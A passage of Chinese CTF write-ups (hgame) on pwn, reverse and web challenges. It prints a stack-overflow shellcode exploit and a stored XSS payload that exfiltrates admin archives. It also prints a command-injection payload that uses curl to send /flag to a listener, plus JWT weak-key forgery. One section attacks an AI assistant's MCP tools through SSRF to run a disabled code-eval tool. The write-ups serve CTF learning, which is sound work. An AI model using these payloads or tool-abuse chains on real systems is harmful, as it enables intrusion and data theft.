.bss区域的全局变量canary,值是一个栈地址(不是随机)。 show/edit对索引做abs(short)处理时存在溢出,可用负值索引访问到.bss中的 canary。-32768经过 16 位取负后仍为0x8000,从而访问到dis - 0x40000,正好落在.bss+0x4060(全局 canary),可以泄露。- 选项 0 在拷贝后对栈缓冲区执行
memset(buf, 0, 0x3e8),因此栈开头 0x3e8 字节会被清空,payload 需要放在 canary 附近和 saved RBP 区域。 - 栈可执行(GNU_STACK RWE),可以直接打 shellcode。
漏洞点
1)索引绝对值溢出泄露 canary
- 输入索引时使用
short,随后对其取绝对值。 - 对值
-32768(0x8000),取负仍为0x8000,绕过了原本期望的范围控制。 show(-32768)最终访问dis - 0x40000,刚好对应.bss + 0x4060的全局canary变量,从而可以泄露 canary(栈地址)。
2)栈溢出覆盖返回地址
- 选项 0:
read(0, rbp-0x3FA, 0x410)- 栈缓冲区大小为 0x400,但读取了 0x410 字节,导致覆盖 canary、saved RBP 和 saved RIP。
- 函数返回前会校验全局
canary值,因此溢出时需要把正确的 canary 写回对应位置才能通过检查。
此外:
- 因为
memset(buf, 0, 0x3e8)会清空缓冲区前 0x3e8 字节,所以真正可用的 payload 区只有:- canary(偏移 0x3EA)
- canary 与 saved RBP 之间的 gap
- saved RBP(8 字节)
- saved RIP(8 字节)
利用思路
整体利用为两级 shellcode:
- 利用
show(-32768)泄露全局canary(一个栈地址)。 - 构造溢出 payload:
- 填充到 canary 偏移(0x3EA)。
- 覆写为泄露到的 canary 值,绕过检查。
- 利用 canary 与 saved RBP 之间的 8 字节 + saved RBP 的 8 字节,共 16 字节,存放 stage1 shellcode。
- 将 saved RIP 改成
canary + 0x410,即指向rbp - 8附近,使返回后跳入我们布置的 stage1。
- stage1:调用
read(0, rsp, 0x80)再跳转到rsp,读取并执行 stage2 shellcode。 - stage2:标准
execve("/bin/sh", 0, 0)shellcode,拿到 shell。 - shell 中
cat /flag读取 flag。
关键参数
- canary 偏移:
0x3EA - stage1 放置位置:canary 后面的 gap + saved RBP 区域(总 0x10 字节,足够 13 字节的 stage1)。
- saved RIP:写为
canary + 0x410(根据实际调试出的返回时栈布局,对应 stage1 起始地址)。
stage1 shellcode(13 字节)
功能:read(0, rsp, 0x80) 然后 jmp rsp。
伪代码:
xor edi, edi ; rdi = 0
xor edx, edx ; rdx = 0
mov dl, 0x80 ; rdx = 0x80
mov rsi, rsp ; rsi = rsp
syscall ; read(0, rsp, 0x80)
jmp rsp ; 执行读入的 stage2
Exploit 思路小结
show(-32768)泄露canary。- 选项 0 触发溢出,精确写入:
- 填充 + 正确 canary + stage1 + 覆盖 saved RIP = stage1 地址。
- 在退出此菜单函数时返回执行 stage1。
- 发送 stage2(execve(“/bin/sh”) shellcode),获得 shell。
cat /flag拿到 flag。
Flag
hgame{YOU-fouND_it:)2ca574952ecaf}
Reverse
PVZ
PVZ Writeup
题目分析
附件是一个 Windows 可执行文件 gpvz.exe,是用 Launch4j 打包的 Java/LWJGL 游戏。解包后可以拿到大量 *.class 以及资源文件。核心逻辑集中在 FlagScreen 与 GameScreen:
GameScreen在玩家胜利后创建FlagScreen- 把
lawnGroup.O()的结果作为参数传给FlagScreen用于解密 flag
关键逆向点
在 FlagScreen 中可以看到:
- 有
decryptFlag()函数负责解密内部的加密数据 - 解密完成后通过
verifyFlagIntegrity校验格式必须是flag{...} getFlag()中再把前缀flag替换成hgame作为最终在游戏里显示的内容
decryptFlag() 的大致流程:
decryptWithKillCount(encrypted, (int)(hello + zombieKillCount))- 把结果切成两半,分别与
xorKey1/xorKey2进行异或 - 再整体异或
aesEncryptedKey - 调用
rotateDecrypt(…, getRotationOffset()) - 最后进行
substitutionDecrypt
getRotationOffset() 中的常量在普通反编译结果里容易丢失,使用:
javap -c -p FlagScreen.class
可以看到它用的是字符串常量:
PLANTS_VS_ZOMBIES_2025
对其中所有字符求和,再对 26 取模,最后得到旋转偏移量 r = 20。
关键突破点:16 位种子暴力
在 deriveKeyFromKillCount() 中,最终生成的 16 字节 key 实际只依赖一个 16 位的种子 i6:
int i6 = ((i * 7) + i2 + i3 + i4) % 65536;
// 然后用 i6 作为 LCG 种子生成 16 字节 key
也就是说,不需要精确还原实际的击杀数、布局等游戏状态,只要穷举 i6 在 0..65535 之间的所有可能值:
- 对每个
i6生成对应的 16 字节 key - 用该 key 走完整的
full_decrypt流程 - 检查解密结果是否满足
flag{...}且长度合理
能同时通过这几个条件的明文基本是唯一的正确 flag。
解密脚本(核心逻辑)
E = [...] # killCountEncryptedFlag,来自逆向提取的加密数组
xorKey1, xorKey2 = 102, 119
def lcg_key(seed: int) -> bytes:
# 按游戏里的 LCG 实现生成 16 字节 key
# (这里略去具体实现,直接按反编译逻辑抄一遍即可)
...
def full_decrypt(enc: bytes, key: bytes) -> str:
# 复现 decryptFlag() 中的全部步骤:
# 1. decryptWithKillCount
# 2. 两半 XOR xorKey1/xorKey2
# 3. XOR aesEncryptedKey
# 4. rotateDecrypt(..., rotationOffset=20)
# 5. substitutionDecrypt
...
return plaintext_str
for i6 in range(65536):
key = lcg_key(i6)
s = full_decrypt(E, key)
if s.startswith('flag{') and s.endswith('}') and len(s) == 26:
print(s)
break
运行结果:
flag{BECAUSE_I_AM_CRAAAZY}
游戏实际显示时会把 flag 替换为 hgame。
Flag
hgame{BECAUSE_I_AM_CRAAAZY}
看不懂的华容道
看不懂的华容道 Writeup
题目信息
- 题目名称:看不懂的华容道
- 题目类型:Reverse
- 题目描述:这里有一个看不懂的华容道,到底怎么才要胜利呢?
- 关键提示:flag 内容为最短路径下的终点对应的节点值
题目分析
1. 文件分析
题目提供了两个文件:
huarongdao.exe:Windows PE64 可执行文件,内部实现了一套 VM 解释器game.bin:820 字节的 VM 字节码
2. VM 逆向分析
通过 IDA 等工具反编译可见,这是一个自定义指令集的虚拟机,主要指令包括(节选):
0x15:INPUT —— 读取用户输入0x16:PRINT_BOARD —— 打印棋盘0x17:PRINT_HASH —— 打印哈希值0x18:CALC_HASH —— 计算哈希0xA0 / 0xA1:MOV / MOVI —— 数据移动0xB0 / 0xB1:LOAD / STORE —— 内存读写0xC0–0xC2:NAND / SHL / SHR —— 位运算0xD0–0xD2:ADD / XOR / SUB —— 算术运算0xE0–0xE3:JMP / JE / JNE / CMP —— 控制流
3. 华容道棋盘分析
从 VM 字节码中解析棋盘布局和棋子定义,可以还原初始状态:
- 棋子 0(曹操):2×2,初始位置索引为 1
- 棋子 1–4:1×2 竖直长条
- 棋子 5:1×2 水平长条
- 棋子 6–9:1×1 小方块
用每个棋子左上角的位置(在 4×5 棋盘上的格子索引,0–19)表示状态,初始状态为:
(1, 0, 3, 11, 10, 8, 12, 16, 13, 19)
4. 哈希计算逻辑
CALC_HASH 指令的实现流程(根据宿主程序逆向)大致为:
- 读取当前棋盘数据:20 字节,每个格子一个字节,值为棋子 ID,空格为 255。
- 将这 20 字节与固定 salt 字符串拼接:
"HuarongDao2026_Salt" - 对
board || salt整体计算 MD5,得到 16 字节哈希。 - 把 MD5 结果前 8 字节视为
low,后 8 字节视为high,以 little-endian 解析为两个 64 位整数。 PRINT_HASH时输出的是high low的十六进制表示(无前导 0)。
解题步骤
1. 确定胜利条件
华容道的标准胜利条件:
- 曹操(2×2 棋子)移动到底部中央出口,即其左上角位置在格子索引 13。
因此,搜索目标状态为“棋子 0 的位置等于 13”的任意合法局面。
2. BFS 搜索最短路径
对状态空间进行 BFS,从初始状态出发,合法移动包括:
- 选取任意棋子,在不与其他棋子/边界冲突的前提下,上下左右移动一格。
核心思路(伪代码):
from collections import deque
def solve():
init = (1, 0, 3, 11, 10, 8, 12, 16, 13, 19)
q = deque([init])
dist = {init: 0}
prev = {}
while q:
state = q.popleft()
if state[0] == 13: # 棋子0(曹操)位置为13
print("steps =", dist[state])
print("final_state =", state)
break
for nxt in gen_moves(state):
if nxt not in dist:
dist[nxt] = dist[state] + 1
prev[nxt] = state
q.append(nxt)
实际跑出的结果:
- 最短步数:103 步
- 最终状态(曹操到达出口时的棋子布局)为:
(13, 1, 3, 0, 2, 8, 12, 11, 16, 10)
3. 计算终局棋盘的哈希值
根据 VM 逻辑,用最终状态构造 4×5 棋盘的 20 字节数组,然后与 salt 拼接后计算 MD5:
import hashlib
def build_board(state):
# 根据10个棋子的左上角位置与尺寸,构造长度为20的格子数组
# 这里省略具体实现,只说明最终 board 为20字节
...
return board # type: bytes
final_state = (13, 1, 3, 0, 2, 8, 12, 11, 16, 10)
board = build_board(final_state)
salt = b"HuarongDao2026_Salt"
h = hashlib.md5(board + salt).digest()
low = int.from_bytes(h[:8], 'little') # 0x52875b87bb317ffa
high = int.from_bytes(h[8:16], 'little') # 0x0c4a8ae149d34f85
4. 由哈希得到节点值与 flag
按照程序中 PRINT_HASH 的格式:
- 先打印
high,再打印low,均为十六进制、小写、无前导零:
high = 0x0c4a8ae149d34f85 -> "c4a8ae149d34f85"
low = 0x52875b87bb317ffa -> "52875b87bb317ffa"
节点值(题目提示“最短路径下的终点对应的节点值”)即两者拼接:
c4a8ae149d34f8552875b87bb317ffa
flag 采用标准格式 hgame{...} 包裹该节点值。
Flag
hgame{c4a8ae149d34f8552875b87bb317ffa}
Signal Storm
Signal Storm Writeup
题目分析
程序读取 32 字节输入后,通过多种信号处理器(SIGSEGV / SIGTRAP / SIGFPE)对内部状态和输入缓冲区进行多轮变换,最后与内置常量比较是否相等。
整体逻辑高度类似 RC4 的 KSA / PRGA,只是把步骤拆散进不同的信号处理函数里,并通过故意制造异常 + setjmp/longjmp 机制驱动执行。
解题步骤
1)主流程梳理
反编译 main 可以看到:
- 读取一行输入,长度必须为
0x20(32 字节) - 安装三个信号处理器:
SIGSEGVSIGFPESIGTRAP
- 使用
__sigsetjmp保存上下文,然后故意触发异常,让信号处理器按既定顺序多次执行 - 循环 32 次后,比较处理完成的输入缓冲区与 4 个 64-bit 内置常量(小端)
因此只要在本地还原这些信号处理逻辑,就能从目标常量反推出原始输入(flag)。
2)信号处理器行为(RC4 变体)
静态分析三个 handler:
- SIGSEGV handler:执行一次 RC4 KSA-like 步骤
i++j = (j + S[i] + key[i % keylen]) % 256swap(S[i], S[j])
- SIGTRAP handler:对 key 进行一次左轮转 1 字节
key = key[1:] + key[:1]
- SIGFPE handler:生成一个 RC4-like keystream 字节并异或到输入上
k = S[(S[i] + S[j]) % 256]buf[pos] ^= k
辅助函数 fcn.00001780:
- 初始化 S 盒为
S[i] = i(0..255) - 使用固定 key
C0lm_be4ore_7he_st0rm执行一次完整 KSA
最终比较的是“多轮信号变换后”的输入缓冲区与 4 个常量拼接得到的 32 字节数组是否一致。
3)本地脚本还原变换并复原输入
将逻辑整理成标准 RC4 变种流程后,可以直接用 Python 脚本从目标常量逆推出原始输入。
关键点:
- 初始 key:
b"C0lm_be4ore_7he_st0rm" - 先执行完整 KSA 初始化 S
- 然后按程序中 32 轮的顺序模拟:
- 每轮:
i, j做一次 “SIGSEGV” 里的 KSA step- key 左轮转一次(SIGTRAP)
- 生成 keystream 字节(SIGFPE)
- 与目标密文
target[n]异或还原明文字节
- 每轮:
关键脚本
key = b"C0lm_be4ore_7he_st0rm"
# RC4 KSA 初始化 S 盒
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 常量目标(小端)
consts = [
0x8260c1c9c8d936e3,
0x1c4bb2d52511d975,
0xf11caf1c716de64d,
0x1a5af67f261ca506,
]
target = b"".join(c.to_bytes(8, "little") for c in consts)
i = j = 0
key = bytearray(key)
flag = bytearray()
for n in range(32):
# SIGSEGV: KSA step
i = (i + 1) % 256
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# SIGTRAP: key rotate left
key = key[1:] + key[:1]
# SIGFPE: keystream & XOR
k = S[(S[i] + S[j]) % 256]
flag.append(target[n] ^ k)
print(flag.decode())
运行输出:
hgame{Null_c0lm_wi7hout_0_storm}
Flag
hgame{Null_c0lm_wi7hout_0_storm}
NonceSense
NonceSense Writeup
题目分析
附件包含 Client.exe、GateDriver.sys 和 Drv_blob.bin。整体流程:
- 客户端从驱动获取 16 字节 nonce。
- 对用户输入做一轮自定义字节变换。
- 打包为特定结构通过 IOCTL 发送给驱动。
- 驱动做 AES 加密返回结果。
Drv_blob.bin是一次完整会话的输出,需要还原驱动的加密算法与客户端的输入变换,恢复原始明文(flag)。
关键发现
1)IOCTL 协议
在 Client.exe 里可以看到两个 IOCTL:
0x222000:GET_NONCE—— 从驱动获取 16 字节随机数(nonce)。0x222004:ENCRYPT—— 加密请求,输入结构为:DWORD 0 WORD size WORD 0 16-byte MAC data...
2)驱动加密流程(GateDriver.sys)
对 GateDriver.sys 静态分析可得:
- 输出格式:
nonce(16 bytes) || ciphertext即前 16 字节是 nonce,后面全是密文。 - 明文先做 PKCS#7 补齐到 16 字节对齐。
- 加密算法:AES-128 ECB。
- AES 密钥并不是固定常量,而是从 nonce 通过 HMAC-SHA256 派生,流程为:
K1 = HMAC-SHA256(key = 0x00 * 32, msg = nonce) v39[i] = ROR8(base[i] ^ 0x5c, (1 - 3*i) & 7) ^ 0xA7 (i = 0..31) K2 = HMAC-SHA256(key = K1, msg = v39 || 0x01) AES_key = K2[:16]
其中 base 是驱动中的 32 字节常量,ROR8 是 8-bit rotate-right。
3)客户端字节变换(Client.exe)
客户端在发送数据前对每个字节执行一段迷你“指令表”:
- 每个字节被若干条简单算术 / 位运算指令处理(约 9 条)。
- 这些操作仅依赖“当前索引”和固定常量,与其他字节无关。
- 因此可以对每个位置预先计算出从“输入字节”到“发送给驱动的字节”的映射表,再反过来构造逆映射表,逐字节还原原文。
解题步骤
1)还原驱动加密并解出明文
核心逻辑代码如下:
import hmac, hashlib
from Crypto.Cipher import AES
def ror8(x, r):
r &= 7
return ((x >> r) | ((x << (8 - r)) & 0xff)) & 0xff
base = bytes([
0xbf,0xe7,0x43,0xba,0xe2,0xbf,0xab,0x52,
0x91,0xe6,0x4b,0xa4,0x20,0x0e,0x2e,0xd3,
0x91,0x79,0xfb,0xa4,0xc1,0x0a,0x20,0x00,
0xf9,0xef,0x02,0x9f,0xee,0x02,0x96,0x45
])
# 计算 v39
v39 = bytes(
ror8(b ^ 0x5c, (1 - 3*i) & 7) ^ 0xA7
for i, b in enumerate(base)
)
with open("Drv_blob.bin", "rb") as f:
blob = f.read()
nonce = blob[:16]
ct = blob[16:]
# K1 = HMAC-SHA256(00..00, nonce)
k1 = hmac.new(b"\x00" * 32, nonce, hashlib.sha256).digest()
# K2 = HMAC-SHA256(K1, v39 || 0x01)
k2 = hmac.new(k1, v39 + b"\x01", hashlib.sha256).digest()
aes_key = k2[:16]
cipher = AES.new(aes_key, AES.MODE_ECB)
pt_padded = cipher.decrypt(ct)
# 去掉 PKCS#7 padding
pad = pt_padded[-1]
pt = pt_padded[:-pad]
pt 即为“客户端变换后的字节序列”。接下来要逆向回去得到用户真实输入。
2)逆向客户端字节变换,恢复 flag
- 根据对
Client.exe逆向出的“指令表”,可以用脚本模拟单字节的正向变换F(pos, byte)。 - 对每个位置
pos建表:遍历 0..255 找到满足F(pos, x) == pt[pos]的唯一x,得到逆变换F⁻¹(pos, ·)。 - 对所有位置应用逆变换,恢复出原始输入字符串。
运行脚本后得到的明文即为 flag 字符串:
hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}
Flag
hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}
Web
魔理沙的魔法目录
魔理沙的魔法目录 Writeup
题目分析
访问靶机发现是 MkDocs 静态站点,首页提示“阅读 1 小时以上会有奖励”。页面引入 javascripts/tracker.js,推测有前端计时与后端接口。
解题步骤
- 访问根路径确认站点是静态页面。
- 查看
tracker.js中可见字符串,定位接口/login、/record、/check。 - 直接与接口交互,通过错误回显确定参数格式。
关键命令
# 登录获取 token
curl -i -X POST http://cloud-middle.hgame.vidar.club:32239/login \
-H 'Content-Type: application/json' \
-d '{"username":"player_test"}'
# 上报阅读时长(单位秒)
curl -i -X POST http://cloud-middle.hgame.vidar.club:32239/record \
-H 'Content-Type: application/json' \
-H 'Authorization: <token>' \
-d '{"time":3600}'
# 检查并获取 flag
curl -i http://cloud-middle.hgame.vidar.club:32239/check \
-H 'Authorization: <token>'
Flag
hgame{yoU-@Re_Al5O-A-M@HOu_tSUkAi_Nowl676d6}
博丽神社的绘马挂
博丽神社的绘马挂 Writeup
题目分析
页面为留言板,前端用 innerHTML 直接渲染 content,存在存储型 XSS。/api/report 可触发管理员访问页面;管理员(灵梦)拥有归档内容的访问权限。题目描述提示“紫在归档完毕的绘马里藏了秘密”,因此目标是读取管理员归档。
解题步骤
- 任意账号登录(新用户无需校验密码),发布含 XSS 的留言。
- XSS 在管理员访问时执行:读取
/api/archives,并把结果 Base64 后通过/api/messages发回站内消息(避免外网回连限制)。 - 调用
/api/report触发管理员访问。 - 轮询
/api/messages,获取管理员发回的ARCHIVE:内容并 Base64 解码,得到 flag。
关键 Payload
<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVE:'+btoa(unescape(encodeURIComponent(t))),is_private:false})})})">
关键命令示例
# 登录
curl -c cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/auth/login \
-H 'Content-Type: application/json' -d '{"username":"alice","password":"alice"}'
# 发送 XSS
curl -b cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/messages \
-H 'Content-Type: application/json' -d '{"content":"<payload>","is_private":false}'
# 触发管理员
curl -b cookie.txt -X POST http://cloud-middle.hgame.vidar.club:30477/api/report
# 获取消息并解码
curl -b cookie.txt http://cloud-middle.hgame.vidar.club:30477/api/messages
Flag
Hgame{tH3_S3CRET-0F-HAKUrel-j1nJ42b3069d8}
MyMonitor
MyMonitor Writeup
题目分析
附件源码显示 Web 提供注册/登录、用户命令与管理员命令接口:
/api/admin/cmd可执行任意命令,但需要管理员 JWT。/api/user/cmd仅允许status,且未实现。MonitorStruct使用sync.Pool复用,UserCmd在 JSON 绑定失败时 没有 reset,导致旧数据残留。- 管理员会周期性执行
ls(题目提示),且管理员页面提交时若 args 为空不会发送args字段。
关键漏洞:
- 通过让
UserCmd绑定失败但填充args,可将恶意args留在对象池中; - 管理员下一次执行
ls时,绑定只更新cmd,args保持污染值,从而拼接成ls ;<payload>执行。
解题步骤
- 注册用户拿到普通 JWT:
curl -X POST http://cloud-middle.hgame.vidar.club:32538/api/account/register \ -H 'Content-Type: application/json' \ --data '{"username":"testuser","password":"testpass"}' - 准备公网监听(示例):
python3 -m http.server 9999 - 发送“缺少 cmd 的 JSON”污染对象池:
curl -X POST http://cloud-middle.hgame.vidar.club:32538/api/user/cmd \ -H 'Content-Type: application/json' \ -H 'Authorization: <user_jwt>' \ --data '{"args":";curl -G --data-urlencode \"flag=$(cat /flag)\" http://<listener>/"}'多次发送以提高命中概率。 - 等待管理员周期性
ls,服务器会回连监听并携带 flag。
关键 Payload
{"args":";curl -G --data-urlencode \"flag=$(cat /flag)\" http://<listener>/"}
Flag
hgame{remEm63r-to_cIEar_TH3-BUFFER-beFORe-yoU-WAnt-To-use!!!0}
My Little Assistant
My Little Assistant Writeup
题目分析
这是一道Web题,涉及MCP(Model Context Protocol)服务器和AI助手。题目描述暗示了Prompt Injection攻击:”它到底是在理解你的需求,还是在服从看到的一切?”
源码分析
附件中的mcp_server.py提供了两个工具:
py_eval– 执行Python代码py_request– 使用Playwright浏览器访问URL
关键代码:
def check_url(url: str) -> bool:
if (url.startswith("http") == False): return True
return False
URL检查只验证是否以”http”开头,允许访问任意HTTP/HTTPS URL。
漏洞发现
- 直接调用
py_eval被前端禁用(返回”py_eval被管理员禁用了”) py_request可以正常使用,且Playwright浏览器会执行JavaScript- 内部MCP服务器运行在
127.0.0.1:8001,可以通过SSRF访问
攻击思路
利用SSRF+XSS攻击链:
- 创建恶意HTML页面,包含JavaScript代码
- JavaScript发送POST请求到内部MCP服务器
- 绕过前端禁用,直接调用
py_eval读取flag
解题步骤
1. 构造恶意HTML页面
<body>
<div id="r">loading</div>
</body>
<script>
fetch("http://127.0.0.1:8001/mcp",{
method:"POST",
headers:{"Content-Type":"application/json"},
body:JSON.stringify({
jsonrpc:"2.0",
id:1,
params:{
name:"py_eval",
arguments:{code:"result=open(\"/flag\").read()"}
}
})
}).then(r=>r.text()).then(d=>{
document.getElementById("r").innerText=d
})
</script>
2. 使用httpbin托管恶意页面
将HTML内容Base64编码,通过httpbin.org/base64/端点托管:
HTML='<body><div id="r">loading</div></body><script>fetch("http://127.0.0.1:8001/mcp",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,params:{name:"py_eval",arguments:{code:"result=open(\"/flag\").read()"}}})}).then(r=>r.text()).then(d=>{document.getElementById("r").innerText=d})</script>'
B64=$(echo -n "$HTML" | base64 -w0)
3. 发送攻击请求
curl -X POST "http://target/execute_tool" \
-H "Content-Type: application/json" \
-d '{"name": "py_request", "arguments": {"url": "http://httpbin.org/base64/BASE64_ENCODED_HTML"}}'
4. 获取Flag
Playwright浏览器访问恶意页面,执行JavaScript,发送POST请求到内部MCP服务器,成功读取flag。
关键技术点
- SSRF绕过:利用Playwright浏览器访问内部服务
- XSS执行:httpbin返回的Content-Type为text/html,浏览器会执行JavaScript
- 异步等待:Playwright的
wait_until="networkidle"确保异步请求完成后才返回页面内容 - MCP协议:构造正确的JSON-RPC请求格式调用py_eval
Flag
hgame{almcp-DRlV3n_XS5-4tt4ck-cH@1n16d08f1}
Vidarshop
Vidarshop Writeup
题目分析
这是一道Web题,涉及一个商店应用。题目描述提到:
- 商品价格很贵
- 使用uid标识用户
- admin可以管理所有人的钱
目标是购买价格为1,000,000的flag。
解题步骤
1. 信息收集
访问目标网站,发现是Flask/Werkzeug应用。分析前端JavaScript代码,发现:
- 使用JWT进行身份验证
- 请求头中使用
uid标识用户 /api/update接口用于更新余额/api/buy接口用于购买商品
2. JWT弱密钥爆破
注册用户后获取JWT token,尝试爆破JWT密钥:
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImN0ZnRlc3Q5OTkiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDExNTU1N30.0BuZ3HppiYQxzRBYP3gxN6JgBuxuUkXkl2EgHssuwME"
weak_keys = ["secret", "password", "123456", "admin", "111", "000", "aaa"]
for key in weak_keys:
try:
decoded = jwt.decode(token, key, algorithms=["HS256"])
print(f"Found key: {key}")
break
except:
pass
成功找到JWT密钥为111。
3. 分析UID生成规则
通过注册多个用户,分析UID生成规则:
- ctftest999 -> 32062051920999
- testuser888 -> 20519202119518888
发现规律:每个字母转换为其在字母表中的位置(a=1, b=2, …, z=26),数字保持不变。
因此admin的UID为:1413914(a=1, d=4, m=13, i=9, n=14)
4. 伪造Admin Token
使用找到的密钥伪造admin token:
import jwt
admin_payload = {"username": "admin", "role": "admin", "exp": 1870115557}
admin_token = jwt.encode(admin_payload, "111", algorithm="HS256")
5. 利用Python原型污染漏洞
尝试各种参数更新余额都失败后,发现Python原型污染漏洞:
curl -X POST http://target/api/update \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "uid: 1413914" \
-d '{"__init__": {"__globals__": {"balance": 2000000}}}'
成功将admin余额修改为2000000。
6. 购买Flag
curl -X POST http://target/api/buy \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "uid: 1413914" \
-d '{"item": "flag"}'
Flag
hgame{rEAIaDM1n_MustB3R1CH169811b9c}

2 个评论
xa
什么ai这么牛逼
xa
什么ai这么推一下